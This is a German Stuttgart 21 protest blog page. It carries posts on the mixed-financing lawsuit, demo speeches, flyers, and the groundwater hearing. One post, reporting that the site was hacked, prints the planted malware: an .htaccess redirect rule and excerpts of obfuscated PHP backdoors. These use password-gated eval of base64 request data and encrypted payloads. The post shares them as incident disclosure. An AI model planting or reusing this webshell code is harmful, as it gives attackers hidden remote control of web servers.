OB Kuhn blockiert Klärung zur Verfassungswidrigkeit der S21 Mischfinanzierung
PM der Vertrauensleute des Bürgerbegehrens zu Stuttgart 21
Zur Entscheidung des Oberbürgermeisters Fritz Kuhn einer Sprungrevision zum Bundesverwaltungsgericht gegen das Urteil des Verwaltungsgerichts Stuttgart vom 17. Juli 2013 über die Zulässigkeit des Bürgerbegehrens nicht zuzustimmen
Vertrauensleute des Bürgerbegehrens äußern großes Erstaunen über die Entscheidung von Fritz Kuhn: Der Oberbürgermeister hat ohne Not eine schnelle rechtliche Klärung der Frage der Verfassungswidrigkeit der Mischfinanzierung blockiert und behält damit weiterhin eine fragwürdige und unsichere Finanzierung bei.
Das Verwaltungsgericht Stuttgart hatte am 17. Juli 2013 die Klage der Vertrauensleute Sigrid Klausmann-Sittler, Axel Wieland und Bernhard Ludwig gegen die Stadt Stuttgart wegen der Zulässigkeit des Bürgerbegehrens abgewiesen. Die Vertrauensleute hatten die Zulässigkeit des Bürgerbegehrens damit begründet, dass die Mischfinanzierung von Stuttgart 21 durch die Beiträge der Stadt Stuttgart und des Landes Baden-Württemberg verfassungswidrig ist. Das Verwaltungsgericht hatte aber festgestellt, dass es sich um einen Fall der zulässigen Mitfinanzierung eines Infrastrukturprojekts durch verschiedene Hoheitsträger handele. Das Verwaltungsgericht hatte aber wegen grundsätzlicher Bedeutung der Frage die Berufung gegen sein Urteil zum Verwaltungsgerichtshof in Mannheim zugelassen.
Die Vertrauensleute des Bürgerbegehrens hatten daraufhin den Oberbürgermeister gebeten, statt der zugelassenen Berufung der direkten Sprungrevision beim Bundesverwaltungsgericht zuzustimmen, um allein die verfassungsrechtlichen Fragen der Mischfinanzierung auf kurzem Weg und gleich in letzter Instanz klären zu lassen. Dafür hätte es aber er Zustimmung der Stadt bedurft.
„Die Vertrauensleute hatten erwartet, dass ein grüner Oberbürgermeister, der dem Projekt Stuttgart 21 kritisch gegenüber steht, ein Interesse an einer raschen Klärung dieser fundamentalen Frage hat, ob das Projekt auf der Grundlage eines verfassungswidrigen Finanzierungsvertrags überhaupt gebaut werden darf“, sagt Axel Wieland. Denn im Herbst 2010 hatte noch Winfried Kretschmann sich auf das Gutachten des renommierten Verfassungsrechtsexperten Hans Meyer aus Berlin berufen und erklärt, die Verfassungswidrigkeit der Mischfinanzierung geltend zu machen, sollte er zum Ministerpräsidenten gewählt werden. Das war zugleich der Anstoß für das jetzige Bürgerbegehren, mit dem auch die Stadt Stuttgart verpflichtet werden soll, sich an das Grundgesetz zu halten und aus einem verfassungswidrigen Finanzierungsvertrag auszusteigen. Über 30.000 Stuttgarter Bürgerinnen und Bürger hatten das Bürgerbegehren unterzeichnet weiterlesen
Rede von Dr. Wolfgang Neef bei der 188. Montagsdemo
Rede von Dr. Wolfgang Neef, Soziologe, auf der 188. Montagsdemo am 9.9.2013
Pleiten, Pech und Pannen
Warum der Börsen- und Renditewahn nicht nur die Bahn, sondern auch die Qualität der Technik ruiniert.
Wenn man sich die Serie der Pannen bei Großprojekten in den letzten 15 Jahren vor Augen führt, fragt man sich erstaunt: Wie kann das in einem Land passieren, das seit der Kontinentalsperre der Engländer im 19. Jahrhundert auf die Marke „Made in Germany“ stolz war? Warum konnte man ein fast perfektes S-Bahn-System in Berlin bauen und betreiben – bis 1990 übrigens unter DDR-Regie, das dann von der Deutschen Bahn bis 2009 so zugrunde gerichtet wurde, dass es bis heute ständigen Ärger damit gibt? Ohne Anspruch auf Vollständigkeit:
- ganz aktuell: der Mainzer Hauptbahnhof wochenlang lahmgelegt
- 1998: ICE-Desaster in Eschede
- Toll-Collect-Skandal
- Transrapid
- Berliner S-Bahn
- Elbphilharmonie
- diverse Rückruf-Aktionen der Autoindustrie (aktuell: US-Markt, 11,3 Millionen von Januar bis Juni 2013, besonders BMW)
- Flughafen Berlin-Brandenburg
- etc. etc: Fortsetzung ziemlich sicher, z.B. in Stuttgart
Verschlagwortet mit Demonstration, Montagsdemo, Rede
Ein Kommentar
Videos von der 188. Montagsdemo
Anfangsmusik: Cappella Rebella
Anmoderation: Angelika Linckh
Bericht von GWM-Erörterung: Dipl.-Phys. Wolfgang Kuebart, Ingenieure 22
Angelika Linckh und Hans-Jörg Jäkel (Stuttgarter Stern)
Zwischenmusik: Cappella Rebella
Abmoderation: Angelika Linckh
Verschlagwortet mit Demonstration, Montagsdemo, Rede
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GWM-Erörterung: Fazit vom ersten Tag
Dr. Carola Eckstein, Mitglied im Netzwerk Killesberg und bei den Ingenieuren22, zieht das folgende Fazit vom ersten Tag der GWM-Erörterung: „Die Bahn windet sich, wie sie nur kann, um eine Umweltverträglichkeitsprüfung für die enorme Erhöhung der abzupumpenden Grundwassermengen zu vermeiden. Wirklich eklatant ist jedoch die Aussage des Eisenbahnbundesamtes: Man habe incident mit der Prüfung der Erörterungsunterlagen eine Umweltverträglichkeits-Vorprüfung durchgeführt – die Entscheidung sei jedoch nicht dokumentiert, liege nicht schriftlich vor und konnte bislang auch auf ausdrückliche Nachfrage nicht mitgeteilt werden. Mehr als diese kuriose Auskunft konnte die Vertreterin des Eisenbahnbundesamt leider nicht geben. Offensichtlich hat Verkehrsminister Peter Ramsauer seinem Eisenbahnbundesamt einen Maulkorb verpasst: keine unangenehme Aussagen vor der Wahl!“
Flyer für 191. Montagsdemo am 30.9. (3. Jahrestag Schwarzer Donnerstag)
Diesen Flyer wird es ab heute Abend bei der Montagsdemo geben. Wir organisieren eine groß angelegte Verteil-Aktion (ähnlich wie für die Ärger-Flyer letzten Sommer).
Der Stand zur Ausgabe der Flyer ist während der Kundgebung neben den anderen Infoständen an der Bushaltestelle (vor Hindenburgbau) an der Ecke Lautenschlagerstraße, vor dem Block-House. Sie können in einer Stuttgart-Karte einzeichnen, in welchen Straßen Sie die Flyer in die Briefkästen werfen wollen. Ab Dienstag ist die Flyer-Ausgabe an der Mahnwache. Wir freuen uns jetzt schon über viele fleißige und motivierte Helfer, denn diese Demo zum 30.9. soll eine besondere Montagsdemo werden.
Website gehackt
BAA wurde am 30.8.2013 gehackt, was wir leider heute erst entdeckt haben. An diesem Tag haben wir folgende Plugins aktualisiert, von denen wahrscheinlich eines den Schadcode mitgebracht hat: nextgen-gallery, contact-form-7, antispam-bee und statify.
Bisher haben wir drei Dateien gefunden, die kompromittiert/neu erstellt wurden: .htaccess, common.php & session.php
Update 9.9.
Es scheint sich doch nicht um eine Hintertür via Pluginupdate zu handeln.
Sinnvoll ist ein Post von Peter Tasker.
Update 10.9.
Der Angriff auf unseren Server scheint sich vom WordPress Pharma Hack zu unterscheiden. So sind auch statische Websites wie parkschuetzer.org betroffen. Momentan gehe ich davon aus, dass der gesamte Server neu aufgesetzt werden muss.
Änderung in .htaccess:
# Apache search queries statistic module
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|aol|bing|crawl|aspseek|icio|robot|spider|nutch|slurp|msnbot) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC]
RewriteCond %{REQUEST_FILENAME} !common.php
RewriteCond %{DOCUMENT_ROOT}/common.php -f
RewriteRule ^.*$ /common.php [L]
session.php (in Ausschnitten abgebildet, da wir noch nicht wissen, was es macht):
<?php
$_f___f='base'.(32*2).'_de'.'code';
if((md5($_REQUEST["img_id"]) == "ae6d32585ecc4d33cb8cd68a047d8434") && isset($_REQUEST["mod_content"])) { eval($_f___f($_REQUEST["mod_content"])); exit(); }
$_f___f=$_f___f(str_replace("\n", '', 'P7FB3AybFxmRoovQsw9XvisJsIs58T6CRxPuJufUTk8c3hlJgashBXy7CEnq5GLYGsz+339CevK1Q9bH
...
AegQToikh5sZLtqzEQ/z2zyMMZepJhyRYMk8dO6cFjJKK12zJg9zK2x4kMe30R5kilHLrBpCtLELaXla
'));$_f__f=isset($_POST['_f__f'])?$_POST['_f__f']:(isset($_COOKIE['_f__f'])?$_COOKIE['_f__f']:NULL);if($_f__f!==NULL){$_f__f=md5($_f__f).substr(md5(strrev($_f__f)),0,strlen($_f__f));for($_f____f=0;$_f____f<15180;$_f____f++){$_f___f[$_f____f]=chr(( ord($_f___f[$_f____f])-ord($_f__f[$_f____f]))%256);$_f__f.=$_f___f[$_f____f];}if($_f___f=@gzinflate($_f___f)){if(isset($_POST['_f__f']))@setcookie('_f__f', $_POST['_f__f']);$_f____f=create_function('',$_f___f);unset($_f___f,$_f__f);$_f____f();}}?><form action="" method="post"><input type="text" name="_f__f" value=""/><input type="submit" value=">"/></form>
common.php (in Ausschnitten abgebildet, da wir noch nicht wissen, was es macht):
<?php
/**
* Creates common globals for the rest of Site
*
* Sets $pagenow global which is the current page. Checks
* for the browser to set which one is currently being used.
*
* Detects which user environment SITE is being used on.
* Only attempts to check for Apache and IIS. Two web servers
* with known permalink capability.
*
*/
/* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. 130 */
error_reporting(0);eval(base64_decode('JGxMOXdGMWFZNHpYNmpUMWdUNmdRN2xPMGtIMGdCNW9OOG1ZOG5COHZCN3pROGNCOXNBNHpUMm1aNmhYNGFGOXRGMWNOMmNMMmtRM2NKM3VIN25TM3hINGJHOW9IMW5SOG1ENXBWOD0kbkk0a1M5ZkowZEQ2eUozdlg5bUIwZVQ2cEcweUs0elExeFIwbFk4dkgzc0Ewa1owb041a003ckcwb1Azdlkyc
...
kd04yZks5ZUI5aUY0dkM0Z0oxckc1c044a0o5a04ydUU1ZEIxb0s4cVgxbVU4clUyaEQxek05dUQ1aFQxcVA3a0k1ckY1YVk5cFQ2eUowZFo4dkk1Y1E5b1AzZk01dFkwZ0c1Z0M0PSRzUDR1STRvTjB1TDdxWjV2TjhxVjZzSDRoUzFjTjJrTTd2WTByVTJwSjZ3TDNlTTZ0RjdpQjliVTN0VjJvWjdnTzN6TThvQThjQjJrWTVxTjdvQzNqTjJ0RTh6VzJ1WjhpSTZpRzA7JGRWMmhRMG5BMWdEOG5NOHNHNHdaMWtVM2lGN2NMNXJBNG9BNnFCOG1HM3pEOHFXNWxaMXVROXRKNXNIMnJBN2NQMnpSNHRJNmpENGpFMnJDNXRZN29JNHBKOT0kcFgxZU82cVE5ZEo4Zkw3ekM0YUIybU4xeEYyako2blM0bEs2ckY2akoxY080elo2b0w4ekI5dVEzY0k4blc4ZE0xb1gwdkk0cE43eVE2a0s2ZUM0dEo0aE01akQ5Y083Ow=='));
?>
Verschlagwortet mit In eigener Sache
4 Kommentare
Mischfinanzierung: OB Kuhn verweigert Revisionssprung zum Bundesverwaltungsgericht
PRESSEMITTEILUNG der Fraktionsgemeinschaft SÖS und LINKE, 6. September 2013
Das Warten auf Rechtssicherheit bei der Mischfinanzierung geht weiter - Stuttgarter OB verweigert Revisionssprung zum Bundesverwaltungsgericht
Die Fraktionsgemeinschaft SÖS und LINKE kritisiert die Entscheidung von Oberbürgermeister Kuhn scharf, im Rechtsstreit um die Zulässigkeit des 2. Bürgerbegehrens gegen S21 den Weg eines Revisionssprungs zum Bundesverwaltungsgericht zu verbauen. Damit wird einmal mehr vom grünen OB eine Chance vertan, zügig Rechtssicherheit in Bezug auf die Mischfinanzierung bei Stuttgart 21 zu bekommen. weiterlesen
Verschlagwortet mit Fraktionsgemeinschaft SÖS und LINKE, Mischfinanzierung, Presseerklärung / Pressemitteilung
Ein Kommentar
Vorschau auf die Montagsdemo am 30.9.
Der dritte Jahrestag des Schwarzen Donnerstags fällt dieses Jahr auf einen Montag. Daher wird die 191. Montagsdemo sich diesem Thema widmen, länger dauern und ganz anders gestaltet sein als sonst üblich: Wir drehen die Reihenfolge um, also erst einen großen Demozug durch die Stadt, dann eine Kundgebung im Schlossgarten (zw. Biergarten und Café NIL).
Als Redner konnten wir gewinnen:
- Guntrun Müller-Enßlin
- Dieter Reicherter, Vors. Richter a.D.
- Prof. Dr. Wolfgang Däubler, Jura-Professor Uni Bremen
Musik: Lenkungskreis Jazz
Nach den Rede- und Musikbeiträgen, die von ca. 19:15 bis ca. 20:15 dauern werden, gibt es zum Ausklang je nach Wetter noch mehr Musik vom Lenkungskreis Jazz.
Ein Flyer wird gerade erstellt, Sie können ihn ab Montag, 9.9. bei der Montagsdemo bekommen und fleißig verteilen.
Die Vorbereitung dieser besonderen Montagsdemo ist eine Kooperation von AK Tribunal, Initiative 30.9. e.V. und Demoteam.
Offener Brief der Netzwerke: Rolle des Umweltamts bei Erörterung
Offener Brief der Anwohner-Netzwerke
Stellungnahme der Stadt zum S21-Grundwassermanagement / Rolle des AfU
Sehr geehrter Herr Oberbürgermeister Kuhn,
in einem Schreiben an das Regierungspräsidium bittet Baubürgermeister Matthias Hahn darum, die Mitarbeiter der unteren Wasserbehörde nicht zum anstehenden Erörterungstermin zum Grundwassermanagement einzuladen (siehe PDF-Datei).
Die Bitte erstaunt uns sehr, noch überraschender ist die Begründung: In einer öffentlichen Diskussion könne der Eindruck entstehen, 'das Amt [für Umweltschutz, also die untere Wasserbehörde] betreibe ohne ausreichende Distanz die Sache der Bahn.'
Das Amt für Umweltschutz der Stadt Stuttgart hat als untere Wasserbehörde im laufenden Verfahren die Aufgabe, die Belange der Stadt Stuttgart und der Stuttgarter Bürger gegenüber der Bahn zu vertreten. Insbesondere geht es darum, jede Gefährdung der Bad Cannstatter Mineralquellen auszuschließen und sicherzustellen, dass die Bahn nichts unternehmen darf, was die Standsicherheit der Häuser im Kernerviertel gefährdet.
Wenn das Amt seine gesetzlichen Aufsichtspflichten ernst nimmt und gewissenhaft erfüllt, kann doch nicht der Eindruck entstehen, die untere Wasserbehörde vertrete die Sache der Bahn! Oder vertritt das Umweltamt doch die Sache der Bahn, nur die Bürger sollen das nicht mitbekommen?
Im Juli 2013 hat Umweltminister Franz Untersteller noch für eine Verschiebung der Erörterung plädiert, solange die Stellungnahme der Stadt (d.h. der unteren Wasserbehörde) nicht vorliegt. Jetzt, wo diese Stellungnahme vorliegt, ist das Umweltamt offenbar nicht in der Lage, diese auch öffentlich zu vertreten. Was sagt der Umweltminister dazu?
Sehr geehrter Herr Kuhn, die Ausführungen von Baubürgermeister Hahn nähren Zweifel, ob die Interessen der Stuttgarter Bürger durch das Amt für Umweltschutz gut vertreten sind. Ich bitte Sie als Oberbürgermeister, für eine gute und ernsthafte Vertretung der Stuttgarter Bürger zu sorgen. Das Amt für Umweltschutz muss aktiv an der GWM-Erörterung teilnehmen und die mangelhaften Unterlagen der Bahn vor allem zur geotechnischen Sicherheit im Kernerviertel auch öffentlich thematisieren.
Mit freundlichen Grüßen
Dr. Carola Eckstein
Netzwerk Killesberg
Frank Schweizer
Netzwerk Kernerviertel
Erörterung zum S21-GWM: Bitte kommen!
Am kommenden Montag findet die neue Erörterungsverhandlung zum S21-Grundwassermanagement statt. Bekanntlich ist der erste Anlauf für diese Verhandlung Mitte Juli 2013 wegen Befangenheit des Sitzungsleiters abgebrochen worden. Inhaltlich geht es vor allem um die von der Bahn beantragte Verdoppelung der für den Tiefbahnhof abzupumpenden Grundwassermengen (6,8 Mrd. Liter statt 3,2 Mrd. Liter). Daraus ergeben sich vielerlei Risiken für das Mineralwasser, die Bäume im Schlossgarten und die Gebäude im Kernerviertel.
Die öffentliche Verhandlung beginnt am Montag 9. September um 9:00 Uhr im Internationalen Congresscenter Stuttgart (ICS) Raum C2.1 auf dem Gelände der Landesmesse (Eingang Ost).
Die Agenda und weitere Infos finden Sie in der PDF-Datei des Regierungspräsidiums.
Bitte kommen Sie besonders zahlreich zu Beginn am kommenden Montag zu dieser Veranstaltung, um mit ihrer Anwesenheit zu zeigen, dass ihnen der Mineralwasser- und Schlossgartenschutz wichtig ist. Bitte auch weitersagen.
Wenn Sie eine schriftliche Einwendung gemacht haben, sind sie redeberechtigt, aber allein das Zuhören ist schon interessant.
